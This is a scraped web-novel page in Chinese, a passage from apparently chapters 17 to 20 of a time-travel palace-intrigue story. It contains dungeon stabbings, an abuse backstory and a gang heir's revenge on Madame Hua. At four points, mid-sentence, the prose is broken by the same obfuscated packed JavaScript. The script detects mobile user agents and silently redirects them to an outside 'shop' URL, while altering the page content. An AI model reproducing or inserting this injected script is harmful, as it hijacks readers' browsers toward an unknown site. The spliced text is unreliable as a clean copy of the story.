侍卫也借口换班退避,她觉得奇怪,却还是接受了公主妥帖周到的安排,只捏了捏袖中的东西。 于是她独自走下只有烛光照亮的地牢,她环顾了一下,并未见到人的身影,反而只有一个个牢笼。 地下时不时传出火星迸炸的声音,她心里有点害怕,但还是往前摸索着。 走到一半,她像是意识到什么般停步,她向来对昏暗的环境敏感,这时听见了窸窣的脚步声,很轻。 她刚侧身准备判断一下来人的方向,却见面前有人忽地撞上来! 那人劲很大,几乎一下就将她撞倒在地。 她动弹不得,下半身都被人压住,而那人的手往上摸索着,像是要找她的脖颈。 她上身立马翻起,也来不及找位置,对着他就是猛猛一刺! 男人发出痛苦的哀嚎,一边捂着自己的伤口,一边往前伸手想抓住她。 但她早已在男人痛苦时就将自己的一条腿抽出来,一边躺下上半身躲避男人乱抓的手,一边以膝为器,狠狠撞向男人的腰窝。 男人吃痛去捂,期间又扯动了另外的伤口,因为疼痛弯曲起来的身子早就歪到一旁。 她另一条腿也解脱出来,却没有逃,而是毫不犹豫地取下脑袋上的簪子,利落地插在男人的脊背上。 男人三处都受伤,只能侧躺在地上,发出痛苦的哀嚎。 声音在地牢中回荡,诡秘又凄凉。 她做完这一切,早就已经喘不过气来,曲如桢身体不好,她只能用干脆的动作取胜。 她没有逃脱,而是翻身坐到男人身上,将他插着簪子的脊背怼在地上,威胁道:“你再动,我不介意直接让这簪子穿透你。” 她没看见血,却闻见了空气中弥漫的血腥味,她又回想起那天的场景,却逼迫自己将那股冲动咽下去。 男人一开口她就认出来了,“贱人!你怎么敢这样对我!”边说还不停地挣扎,想要将她甩下去。 她毫不客气地将他往地上一推,簪子又没入他身体几分,他已几乎再忍不住,整座地牢回荡着他的哀嚎。 “老实了就闭嘴,听我说。” “张巡,你之前如此虐待我,我等这一天很久了。”她一手抵住他的肩,确保只要他乱动,就可以立马将他按到地上,让整个簪子瞬间穿透他。 她拿出另一只手,轻轻抚上他脸上的刀疤。 张巡感受她手的轻抚,生出一种无边的恐惧来,他忽然有种,不认识眼前这个女人的感觉。 “没有我,你怎么能逃到现在呢?” “你!”张巡又要起身,但她只是稍稍用了一分力气,就震慑住了他——看来他还是害怕自己被穿透啊。 “拿着我的玉佩,用镣铐困住我,这就是你的爱吗?”她渐渐将手往下摸,待到拂过他肩膀时停下了,她找到了刚刚乱刺在他身上的第一把簪子。 是那把紫色鸢尾花的簪子,也是她唯一还留在身边的,张府的东西。 她狠狠地将那把簪子抽出来,伴随着血肉的刺啦声,男人的痛叫已经无法抑制。 “真可惜,没插到脖子上。”她嫌弃般在男人的囚服上擦了擦,然后慢慢抵在男人的喉咙上。 “你说的爱她,你的仇,自然要她来报。”她露出一个诡异的笑,另一只手从他的肩颈上移开,翻动着自己的衣袍。 她找了半天,终于找到那个系在最隐秘的地方的香囊,它已经老旧了,摸起来已经有些脱线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289447|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她毫不犹豫地拉开香囊的系带。 有一瞬间,张巡神奇地觉得,面前的人是失去意识的。 但是马上,曲如桢就恢复了他最熟悉的样子——那个看着他胆怯,颤抖,甚至拿不住簪子的模样。 他那一刻迸发出此生最强大的力量和勇气,立马捏住抵在他脖子上的发簪,就要翻身起来反击。 曲如桢本来在自愿让出身体后,就一直等待着竹徵将她送回现代。 她爱过张巡,所以虽然说要报仇,自己却没有这种勇气。 她面对他总有面对马鞭时的恐惧,她对他的爱,更像是害怕时给自己找的拙劣借口。 只要爱他就不会那么痛苦了,只要爱他,向他求饶,他就不会下手那么重了,而是说:“我只是太爱你了。” 现实与书中的影象不断交叠,她好像失去了辨别的能力。 她从出生起好像就被打,小时候父母就说:“你怎么这么不听话,我不打你你不长记性。” 于是家里没有一个完好的拖把柄。 长大后嫁了人,丈夫总是喝酒,喝醉后将她的头发当成缰绳,不停地边说驾边往木柜上砸。 可是他说爱她呀,她祈求的不过只是一份爱而已,为了它她愿意待在金色的牢笼里,成为一只折翼的夜莺。 丈夫清醒了会向她道歉,但只是冷冷地说句“对不起”,然后就去马场看他的马。 他的一生好像都只有马,连她也是。 某一天莫名其妙地穿越了,她还是一个童养媳,她依旧有一个丈夫,对方依旧打她。 但这一次是用马鞭,她觉得也没有那么糟。 但是他不让她包扎,也不让她出门,她做惯了夜莺,有点烦了。 可是他也给她带些时兴的玩意,也会在参军要她时拒绝,他说她是糟糠妻。 她觉得有些爱,虽然不多,但总比那个冰冷的牢笼好,好在哪呢? 可能是她也不用每次求父母,要他们同她丈夫说说不要再打她了,却听父母说:“嫁出去的女儿泼出去的水。”吧。 只有张巡对不起她,也挺不错的。 所以在竹徵作为一缕意识在她耳边说的时候,她其实很久都没有同意。 回去干嘛呢,都是一样的地方。 但是她还是在一顿毒打后妥协了,至少让她逃一会吧? 不论回家会面对什么样的路,至少此刻,她可以不挨打,不去面对那种恐惧了。 于是她自愿进了竹徵所谓“高科技”可以保存她意识的香囊。 因为竹徵愿意给她看,她能看见竹徵所做的一切。 她一直在想,为什么会这么勇敢呢? 直接将簪子插入来人的手掌,直接拿簪子抵住对方的喉咙,不害怕他们暴起伤人吗? 但是竹徵某天像跟她说话似的,她说:“曾经我也害怕,我也不敢反抗,但是上高中时我姐姐带我去上了拳击课。” “我在拳击课学会的是,在没有办法逃脱的情况下,不如放手一搏。” “后来我做过一段时间的大小姐,有个人跟我说,簪子不比刀差,但是要拿就得拿稳当。” “自己先怯懦了,总是会给别人信心。再下手就卸了几分力。所以如此,不如不要给自己和对方反应的机会,先下手了再说。” “至少对方不是练家子的话,会吃痛,那就有机会反转,是练家子你不先下手也来不及逃。” “他说,我下一次可以果断,干脆地下手。” “于是我每一次,都是这么做的。” “我不比你勇敢,我只是比你相信自己。” 她想了很久。 相信吗? 她抬手了。 张巡不知道她在想什么,一直愣在那,他只用力伸出手想要扼住她的喉咙。 但是,那一刻,她忽然动了。 她用着惊人的爆发力将全身都倾注于上半身,掐住张巡的肩狠狠往地上推。 她用所有的力气压在他的上半身上,只听见簪子叮当敲在地面的脆响,和贯穿身体时突破重重阻碍的撕裂声。 张巡还在挣扎,但是她真的做到了,哪怕只有一刻。 她微微扬起嘴角,自言自语地来了句:“谢谢。” 18. 第十八章 又见 裴风鹤接到周荣的通报赶往地牢时,发现侍卫全部退避到了一旁。 他觉得奇怪,“怎么回事?” 周荣上前,向他禀报是公主要求的。 公主……怎么会下这样的命令? 他打了个手势,身后的侍卫全都跟上来,“下回遇见这种事,先救人。” 周荣点点头,面色有些尴尬。 他听见侍卫通传说地牢里传来惨叫声,但是公主下了命令,令他们退避,他们不敢妄动,就过来通报他。 毕竟跟曲如桢比起来,还是公主的命令更重要。 裴风鹤得知里面只有张巡和曲如桢时,就让周荣带着侍卫候在地牢口,他独自进去。 他握着剑柄,缓慢地向地下走去。 他听见一声微弱的“谢谢”,然后就是有人翻动衣服的声音。 他没有听见第二个声音,一时不知道走进去还是留在这里。 犹豫了一瞬,他终究觉得还是人命要紧,抬脚往里头去。 他听见一声清脆的“哐当”声,像是将什么东西掷在了地上。 这里昏暗,他看不太真切,随即听见了坚定的脚步声。 他侧头,方见一个身影在他身边停了一瞬。 对方没有杀气,只有淡漠,“裴将军来得真及时。” 是曲如桢,但是不知道为什么,同前两天的态度很不一样。 他心不自觉地揪了一下,又有熟悉的感觉。 “怎么了?”他的声音有点颤,声音出口就被自己吓到了。 “呵。”对方只轻哼了一声,就抬脚要走。 他下意识拉住了她的衣袖。 上面是湿润的,他摸起来很像血。 “手怎么了?”他顺着衣袖看过去,只能看见她缠满绑带的手。 “不劳将军费心。”她用了点力气,将衣袖抽走。 他感受着指尖衣物的流逝,有些慌乱了,下意识捏紧。 怎么又是这个场面呢? 怎么这么熟悉呢? 五年前那天他拉住唐语蓁的衣袖也好,四年前唐语蓁在他的面前落入水中也好。 都太熟悉了。 明明是不一样的面孔,明明是不一样的身份,他却总不自觉地看见那个人。 已经不记得样貌了,只有模糊的影子。 他记得她梳垂云髻蹦蹦跳跳地出现的样子,也记得她斩钉截铁转身的利落身影,更加记得她莽莽撞撞跌在他怀里的温暖感觉。 初见那把簪子利落地扎在他手心里时他就在想,如果是她,可能也会这样做。 她本就不缺勇气,他只是教会了她干脆地下手。 后来穿着那身水红色的裙子,梳着垂云髻,头发轻轻甩上他的脸颊时,他觉得心仿佛被拨弄了一下。 再后来夜探华府碰见,果断又聪明地解决了疯女人的手段,让他好像见到了她成长的样子。 变得更成熟,却又仍保存着那份可爱和纯真的样子。 他好像已经太失控了。 遇见一个模棱两可的形象,就可以很牵强地将心底里最隐秘的喜爱与怀疑移到另一个人身上。 他的期盼还不够吗? 曲如桢的身份没有任何问题,她是张巡十几年前的童养媳,也是在他幼时就已经见过的肖家小姐。 只是他为了心底的梦,总太过殷切地希望有一个人来填补,希望是她,又希望不是她。 明明真正的唐语蓁已经忘却前尘记忆大变,他却总是希冀着一个乘风破浪的她回来。 一个鲜活的她。 不过是自己不愿接受从指尖流逝的一个一个又一个人罢了。 他缓缓放开手,任命般由着曲如桢的衣袖从他指尖消失。 忽然对方停下脚步,他尝出一点隐秘的雀跃来。 他听见她说,“将军再不进去,张巡就要死了。” 随后只剩脚步声,她已离开。 他将自己脑中的杂念清空,深吸一口气,往里面走去。 张巡以一个及其怪异的姿态倒在地上,右边的身体微微拱起,好像压住了什么东西。 他先探了探鼻息,还有气。 这确实是一个最好的时机,之前公主的人一直看着,他也不好搜张巡的身。 那日夜探拿到账本,他就发现了端倪,账本上居然有木樨花纹。 他一直怀疑张巡跟他一直在查的事有关,身上肯定也有线索。 他摸遍男人全身,才在腰间摸到了一个铜牌,这环境晦暗不明,他摸上那块凸起。 那是一个简约的木樨花纹,同他摩挲过千百次的扳指一样。 他取出那枚扳指,四下皆静,他只能听见自己胸腔里激荡的心跳。 ———— 竹徵回了屋子,拒绝了胡娘子的陪同,一个人去街上闲逛。 她想起先前那个梦。 五年以前她同裴风鹤,不过也都是少男少女,偶有吵嘴也好,亲近也好,都只是过家家般罢了,自己老是揪着不放也没意思。 要一个将军少杀戮,就更没意思了。 她终于将他完全放下,却发现自己已经漫步到那日的玉华楼。 既如此,不如再去听一场戏。 她一个人进去,小二认识她,忙招呼到:“赵夫人,您来了!” 她愣了一下,随即点点头,她都快忘了她是赵夫人了。 小二继续问:“您今日又同赵大人一起吃吗?” 她有些不悦,皱眉道:“他不来。” 小二见这样子,寻思或许是两人吵架了,赵夫人连帷帽也不戴,就这样在外面乱逛。 也不敢多说,便快速退下了。 竹徵坐在包厢内,听着皮影戏。她特意选了一个新颖的,但还是那种卿卿我我的套路。 没意思。 她听着听着魂游天外,想着下面该去哪呢? 不知道其他的穿书者在哪,天下之大,该去哪找呢? 学长在京城,她要先将曲如桢的意识送回去,可送回去之后呢? 她该去哪里找这些人? 皮影演到将终处,她也觉得没什么好听的,起身就要离去。 皮影师还在认真地吹吹打打,“我养你啊!” 她只听见这句话,忽闻便觉荒谬。 再品却已经慌乱,现在的人哪有这句话呢? 她强压心中的喜悦,所有蛛丝马迹在她脑海里铺就了一副真相画卷。 她第一次来,就觉得那个故事很像古早言情小说,只是当时认为是这个时空也有这种套路。 而且玉华楼的营业方式,很像现实中那种边跳舞边上菜的餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289448|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅,古时食不言寝不语,谁会弄出皮影戏这种方式? 她终于抓住又一个人的尾巴了。 她立马转身,叫住小二,“将你们掌柜的叫过来。” 小二懵懵的,“掌柜的忙,您有什么事同我说。” “我有笔生意要同他谈,这事你做不了主。” 见小二还在犹豫,她不耐烦地叩了叩木桌,“还要我将赵大人找来,亲自同你谈么?” 小二这才唯唯诺诺地下去。 她在等待的时侯不禁想,究竟是什么样的人呢?会不会有她身体的消息呢? 但等到她把能想的想了个遍,也没见人来。 她疑惑起来,“小二!怎么回事?” 没有人应答,她越发觉得怪异起来,她的簪子早在刺张巡时就弄丢了,只好摸了半天,在桌上拿了一支筷子。 总比没有好。 她慢慢靠在门上,听着外面的的动静,外面依旧是嘈杂的,她好像听见几个宾客慌乱的脚步声。 外面应该是出事了,但是还没发酵引起恐慌。 但她必须抓住这个机会,对方说不定是来灭口的,错过这个,她可能就很难再找到穿书者的线索了。 她小心翼翼地打开木门,从门缝里窥见了攒动的人头。 宾客们已经开始逃了,她听见有人大叫,“救命啊!” 她将筷子折成两半,将带尖头那一半藏在衣袖里。 她再抬头时,却撞上一个深邃和晦暗的漩涡。 那是一个男人的眼睛。 她呼吸一窒,额头上冒出细汗,她有些慌乱地将想门另一半掩起,却被男人的手抵住。 那是一张熟悉的脸,他微闭起眼时像极了立身菩萨——穆常念。 穆常念一点一点地将门向内推,想欣赏对方惊慌失措的表情。 可是她并没有像他预想中那样慌促,而是岿然不动地望着他。 她除了那一刻短暂的慌乱,没有对他的忽然出现表现出惊恐和害怕。 他越发觉得有意思起来,他明明记得,她是一个备受打骂的普通农妇,这一刻的表现却完全不似,反而慌而不乱。 他咧起嘴角微笑了一下,“赵夫人,怎么没跟赵大人一起呢?” 她依旧戒备地望着他,“少帮主,你就不必拐弯抹角了吧。” 他知道父亲找过她,也知道她真正的身份,望着她那双清澈见底的双眸,“曲小姐,你真是不一般啊。” “过奖了,少帮主,咱们都差点成为夫妻,您看能不能借个道?”她忽然将表情松下来,看得穆常念觉得有些奇怪,她真认为这是个很大的筹码吗? 真是不怕死啊,不过今日他有要紧事,她看起来也是恰好摸到这了。 但是,送上门的试探机会,怎么能放过呢? 他没有说话,只将手缓慢向下移,在她衣袖旁时停住。 对方比他要快一些,翻手想要将竹筷逼向他脖子。 但是他马上抓住了她握着那根断筷的手,使其恰巧停在他颈前一寸。 他感受着属于女人的体温,冰凉的手也染上几分温度。 他轻轻偏头,绕过两相博弈的手,调笑地望住女人那双坚定的眸子。 “曲小姐都说了,我们是差点成亲的关系,那我想请小姐看场戏,不过分吧。” 19. 第十九章 华夫人 竹徵刚听见穆常念的话,心里深感不妙,她或许是哪里让他怀疑了,这几日才处处针对她。 明明金虹帮已经解散了,他怎么还能带上一群人来搜楼呢? 她完全没预料到这个结果,于是此时也只能应下。 穆常念依旧是那副皮笑肉不笑的嘴脸,让她身上冒起一丝寒气,听说他小时候被养母虐待,这也养成了他如今杀伐果决的性格吗? 她跟着她走在这条游廊里,穆常念背着手,像在欣赏抱头鼠窜的猎物,他每走一步,那些宾客就更加害怕,想要逃脱出这栋楼。 直到有人向他禀报,说找到人了。 穆常念听见这话,才扬起一个诡异的笑容,侧头看着曲如桢那略带惊慌和不满的脸。 “曲小姐,请吧。”他伸出手,侧身让她先走。 像是他预料之中的,对方有点娇嗔地瞪了他一眼,让他觉得又可爱又好笑。 怎么会有这样的,不害怕他的人。甚至她只是一条砧板上脆弱任人宰割的鱼,也要藏起折断的筷子妄图对抗他。 易碎却又蓬勃的生命力,居然困在一个无用的人手底下十几年?荒谬又可笑。 他心里莫名地有些松动了,跟上她去到底下人所说的密室。 密室藏在账房里,是他们翻账本时误触的。 里面是躲藏起来的玉华楼刘掌柜和……一个竹徵很眼熟的面孔。 “华夫人?!”竹徵见到被控制起来,和另一个男人一起跪在密室里的华夫人,颇为震惊。 虽然帮主告诉她的故事不完全,也有自己美化填补的风险,但是华夫人无疑是这个故事里最反差的存在。 她与华夫人相处时,除了严谨缜密,其实没有看出来她的狠辣,甚至于她在见到疯癫的妹妹,都只是跟她一样害怕地倒在地上。 演技很好,实在是让她自惭形秽。 但是今天穆常念找到她的场合就很耐人寻味了,华夫人怎么会出现在玉华楼,又怎么会出现在密室呢? 华夫人甫一抬头,看见穆常念的那一刻就心跳如擂鼓,不会吧,不可能! 她只能安慰自己穆常念自小被妹妹虐待,此番并不是来找她寻仇的。 自从华县令死时,她就隐约猜出来什么,何况金虹帮的人早早地将妹妹带走了。 肯定是早就知道她做过什么了。 她慌乱地低下头,身体开始止不住地颤抖,脑门上渗出几点细汗。 穆常念看着害怕的华夫人,心里生出些不屑来。 他父亲被迫解散金虹帮,这位华夫人还真以为他们会咽下这口气吗? 可笑。 他走了两步,站定在华夫人面前,用手钳住她的下颚,勉强她抬起头。 华夫人的眼睛在看到他的那一刻就开始躲避,他觉得有些好笑,用刚刚从竹徵手里拿下的那根断筷,飞速地刺向华夫人的眼珠。 华夫人下意识地闭上眼,等待最后的审判。 但许久都没有感受到剧痛,她方才睁开眼,那支筷子正停在离她眼珠一寸的地方,后面是穆常念那张似笑非笑的脸。 他的眼睛是菩萨般的圆润,放在整张脸上却显得很妖异,平白生出几分邪气来,皮笑肉不笑的面孔带上几分诡异,更像摄人夺魄的黑白无常,玉面修罗。 华夫人睁眼之后两重打击,已跪不稳,却由于穆常念一直死死掐住她的下颚,动弹不得,只能浑身颤抖着往外挣脱。 竹徵饶有兴致地在一旁看着他们的交锋,心中不禁感叹,她要是有这种气势,那吓唬张巡这种人还不是手到擒来。 却不料华夫人正好在逃避穆常念目光时注意到她,“曲小姐!曲……曲小姐救救我!” 华夫人向她投来祈求的目光,她听见这话也默了一瞬,但是依旧将手抱起,缓缓说:“华夫人,你站在金虹帮那边给我下药绑我,这事我都没同你算,你现在求我是不是太晚了。” 华夫人却像得到什么救命稻草一样,将目光转向穆常念,“我……我为你们做了那么多事!就连她也是我给你们的,你为了一个疯子杀我!” 穆常念听见那句“疯子”,莫名有些不爽,捏她下颚的手更加用劲,欣赏着华夫人痛苦的神情。 “我不在乎她,但是父亲在乎,你也不能践踏她。”他俯近华夫人的耳边轻声说,宛如恶魔的低语。 华夫人忽然就像疯了一样,忽地挣脱了穆常念命人绑住她手腕的麻绳,穆常念见此场景,放手后退一步。 “践踏?是她先践踏我的!”华夫人用力地用手捶打着地面,声嘶力竭地喊。 华夫人的声音变得沙哑,她如同被附身了一般大笑,声音游荡在房间里,透出一股诡异的气氛。 “小时候,父母就只顾着她!因为她天生患病,就不要求她学习那些东西。” “整个家里,只有我!只有我要一遍一遍扎自己的身体,找穴位,要一点点喝下自己配置的药,就算是痛得满地打滚,也不能找人来替我。” “他们说,我必须找到医治她的方法,可凭什么要我悟!凭什么她就可以下山仗剑,我却要像个贡台上的祭品一样困在这山上。” “后来山上来了两个年轻人,我不在乎他们是谁,只要他们能带我逃离这里。” “但是她居然怀孕了!她怎么能怀孕啊,她明明马上就要疯了。” “噢我还没说吧,她天生的疾病,就是精神慢慢被吞噬,最后变成一个疯子。父母为了避免她妄自菲薄,并未告诉她,却将我囚在山上一生,反复受药理和针灸侵扰。” “她要上山时,我故意刺激她,将追杀父母的人……引到山上,这样她才会崩溃不是吗?” “父母死在她面前,她居然比我还伤心,真可笑,我在这山上二十年,我只想杀了他们。” “你说我践踏她?我只是将她关在马厩里,我又没杀她,不过是她掰扯我时,打了几回。可视她给我的,不算践踏吗?” “因为她一个病,践踏了我的前半生,后半生华居仁也要将她放在我眼前要我替她医治!就是为了拿捏你爹。凭什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289449|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她渐渐脱力,倒在地上,伸手捞着什么,“华居仁那年上山,给我吃了海棠酥,真香啊,原来外面的东西这么美味,他跟我说一辈子都会有这样的海棠酥吃,我才打算跟他走的。” “怎么就找不到呢?” 她频繁地在地上寻找着,此刻已经有些疯癫了。 她伸手抓住刚刚搜查时误掉落在地的糕点,抓住就往嘴里塞。 细碎的饼屑落在地上,又被华夫人急迫地捻起来往嘴里塞。 那副场景像是一直饥渴的人终于能够大快朵颐,释放着心里的不满与愤恨。 竹徵有点看不下去这个场景,但是她心里也很清楚,这只是穆常念最简单的报复罢了,甚至都算不上狠毒。 华夫人作茧自缚,这是她无法干预的结果。 穆常念慢慢蹲下来,看着不断地摸索着地面已经有些疯魔的人。 他没有说话,但是一瞬间就伸手将华夫人掼在墙上,他的手掐在华夫人的脖子上,青筋暴起,透出隐隐的愤怒。 他咬牙切齿说出来的话回荡在华夫人的耳边,“有件事很有意思,华县令明明知道,却没有告诉你。” “其实你小时候,也有痼疾,因为必须在清醒状况下扎对每一针,所以你父母,山庄的神医才会逼你自己去试验,因为只有你自己能救自己。” “而我……养母的病,不过是捏造出来给你的一个期待罢了。她那么亲切地叫你姐姐,你怎么下得去手?” “明明你才是该死的人啊。怎么偏偏你健康地活着呢?” 华夫人的眼神已经变为了惊恐,她胡乱地拍打着,明明穆常念已经放手,她却还像是沉入水中的溺者,无法呼吸。 “不可能!不可能!”华夫人的脑海中冒起许多过往,包括那个,明明健康到可以去仗剑走天涯的妹妹。 下山那日,看着她笑靥如花的脸,听见她说:“姐姐快点好起来!下山来同我一起玩!” 她那时只当是父母为了妹妹的身体,诓骗妹妹。 何其可笑! 父母为什么总是,总是带着悲戚望着她,明明她才是健康的那个! 不可能啊,不可能! 竹徵旁观着这个场面,也清楚了来龙去脉,无法评判,只有可悲两个字可说。 每一步都有人错,但是最无辜的却是穆常念那个养母,她的家庭被亲爱的姐姐毁了,但是代价却是由她的疯癫来承担。 她目光上移,看着冷淡地望着华夫人的穆常念,他的脸上只有漠然。 或许还有他,被拐卖而又被迫同疯子度过少年时期的地狱修罗。 他的年少又经历过什么呢?他又对养母是什么感情呢?她不禁好奇。 如果爱,怎么会她在马厩里被虐待这么久不闻不问,如果不爱,怎么会在华夫人一事暴露后还亲自来要公道? 穆常念没再理会独自发疯的华夫人,迈着步子走到已经颤颤巍巍的男人身前,他徐缓地蹲下,盯住男人的眼睛。 “到你了,刘掌柜。” 20. 第二十章 对峙 穆常念的表情顿了一瞬,裴风鹤怎么会横插一脚? 他听见这句话方才动了,一边打了个手势示意他们赶紧把刘掌柜带下去,一边说:“请进来。” 竹徵也困惑起来,按理来说裴风鹤跟这件事应该没有任何关系了,穆常念为了报仇,她为了寻找穿书者的线索,那么他是为了什么呢? 外面有沉稳的脚步声,他们都向已经被推开门看去。 来人一袭白衣,透着温柔的气息,但是依稀像她五年前见过他长身跪于府前那样,他洁白的衣裳已经染尘。 顿时这一副谪仙的模样就盖上了一层浮尘,像久未擦拭的菩萨。 他微抬起长长的睫羽,眼神里透着几分湿润,更显得有几分可怜。 竹徵看着这样的他,心抽了一下,虽然他们曾经也只相处了一年,但是她还是很难见到他眼里这般的异色。 到底是这些年来他渐渐变得更温暖,还是刚刚发生的什么事让他动容了呢? 她觉得肯定不会是她自己,那依照这个时间来看,只有张巡和公主有这种可能了。 裴风鹤刚踏进来看见这场面,今日也穿着白色衣裙的曲如桢站在穆常念身侧,同穆常念的黑衣相照应,倒真的像一对璧人,不禁想起来之前金虹帮帮主撮合的内容。 他心里莫名地有些不爽,但是知道自己将情绪转嫁,大恸之间难免心绪不平。 正事要紧,他向着穆常念行了个礼,开口却不客气,“穆公子家的金虹帮,不是受公主之命解散了吗?怎地今日又来了这一出?” 穆常念的笑声忽地从嘴边溢出来,显出了几分不羁,“裴将军,您还不知道吧?公主特派我同宁长安一起,执掌永宁宫边卫。” 此话一出,除了穆常念的人全都震惊了。 穆常念跟昌乐公主明明八竿子打不着,怎么会下这种命令? 竹徵飞快地思考着,公主先前的命令虽然救了金虹帮,并且将金库收回了,帮主暂时没有性命之忧。 但是毕竟金虹帮在当地本来就积怨已久,朝中新派的人也不见得就能容下他们,公主这个决定,既丰富了自己的队伍,也算是给了金虹帮一条通途。 竹徵想通了关窍,却越来越好奇公主这个人,她总在他们觉得事情已经没有转圜地步的时候出现,又巧妙地做出对于现在所有难题的最优解。 公主就像是知道他们的问题是什么一般,掌握着整个局势。 而且她也很清楚竹徵的深层需求,今天屏退所有人允她去见张巡也是。 她到底是什么样的人呢? 一旁的裴风鹤听见这句话更加震惊,公主居然敢当众收编,就证明要么她早有准备,要么皇上对她的信任已经到了那一步。 他又成了公主的跳板,公主命他攻下金虹帮只是为了出现做和事佬,顺带自己收编下金虹帮。 他只不过是替他们出鞘的刀罢了,不过命令在先,就证明皇上至少是默许的,他没什么反驳的余地,这或许也是对他的考验之一。 他隐藏下心里的思绪,回归正题,“但是穆公子,我追查凶手到此处,穆公子不会阻拦吧?” 穆常念看着裴风鹤的脸,总觉得有种膈应人的熟悉,但依旧开口道:“只要不误了穆某的事,请便。” 裴风鹤点点头,方才开口,“张巡死了,他身上的线索指向这里。” 竹徵听见这句话才叫真正的震惊,她是最后见过张巡的人,那么这话出口,她就是最大的嫌疑人。 可是明明…… 她望向裴风鹤,对方给了她一个安抚的眼神,让她心安了一瞬间,随后继续说:“我知道张巡不是你杀的,让他身死的是病。” “病?”她觉得这件事疑云密布,越发扑朔迷离了。 “突发恶疾,不治而亡。”竹徵敏锐地发现裴风鹤的手正紧紧攥着什么,似是在忍耐。 裴风鹤此刻也确实是在强压心中的不悦,张巡身上终于出现了那个他一直寻找的木樨花纹,往事迷离惝恍,今日却又出现横死之人。 到底是要掩盖什么? 张巡生前也透露过关于玉华楼的事,具体其实参军知道的更详细,但作为金库钥匙的实际持有者,其实是有更通达的渠道的。 而这个渠道,就是玉华楼。鱼龙混杂的人在这酒楼里,就是最好掩人耳目的方式。 玉华楼作为暗桩,每次的消息传递都是通过它,那么沿着这条线,就应该能找到关于木樨花纹的事。 何况追张巡追到这里,却没有捏住参军实际的把柄,连金库也是公主拿回去的,他拿什么同皇上交代呢? 裴风鹤按下内心的波动,继续说:“我只要玉华楼的掌柜。” 穆常念的表情有了一丝怪异的变化,他眯起眼睛看着裴风鹤,“不巧,公主也要这个人。” 竹徵在这种时候很聪明地缩在了角落,她可不想待在他们身边溅一身血。 裴风鹤却已经指使身后人搜楼,穆常念看着他不为所动的表情,倒是奇怪了起来。 他对外的形象一直是被动的,几天下来其实没有真正阻拦过什么,无论是公主还是他都没有见过他真正执拗的模样,似乎能让的他都不会勉强。 但是今日,他有些执着了。 穆常念知道公主此行来是为了监督裴风鹤,金库钥匙归了公主,他确实需要急着拿一些实绩来为他加码,虽然有点违和,但确实合理。 穆常念开口试探,“既然将军执意要人,那么我们一起审,这个要求不过分吧。” 此话一出,倒是竹徵感到奇异,穆常念的形象一直是你想要什么,他偏要拿什么折磨你的类型。 但是面对裴风鹤的强硬,他倒是一下子就可以让步,到底是因为对方是将军,还是因为他其实害怕真正愤怒的裴风鹤呢? 裴风鹤听了这句话,反倒是心里掂量他起来,穆常念知道将来不免与他共事,无论两人互相如何看不惯,此事上倒是愿意退让,看来至少人情世故上是过得关的。 他也不作过多纠缠,“穆公子所言极是。”便转头吩咐手下人,这便要走。 竹徵看这情况,明白就算有什么她也没资格知道,不如先溜。 她正鬼鬼祟祟地想要从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289450|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前溜走时,就被裴风鹤叫住了,“曲小姐。” 她不耐烦地回头,撞上对方眼睛里的清朗星河,“肖家还在等着你,希望你好好考虑一下。” 她看着裴风鹤那略带请求的神情,忽然就有些心软,要是一个时辰前听见这话,肯定毫不犹豫地拒绝,可是……可是现在她已经知晓,能引动裴风鹤和穆常念两人追逐的玉华楼,必然不是一个简单的酒楼。 而他们最后的目的都是回京,跟着他们一定不会有错,多少能摸到点什么。 她还要拒绝这个机会吗? 就算不考虑肖家,对她自己也是一个很好的决定,毕竟她可以没有任何担忧地进京,将香囊交于学长。 但是她还是没有利落地答应,反而再思索片刻,扬起一个笑容,“我会好好考虑的。” 裴风鹤乍见她的笑容,不知为何又想起了五年前的唐语蓁。 令他最触动的其实是她每次笑时,都像是那天跪在他身侧,安抚他的那个笑。 带着的是自信,活力,和那种全世界上天入地仅此一人的感觉。 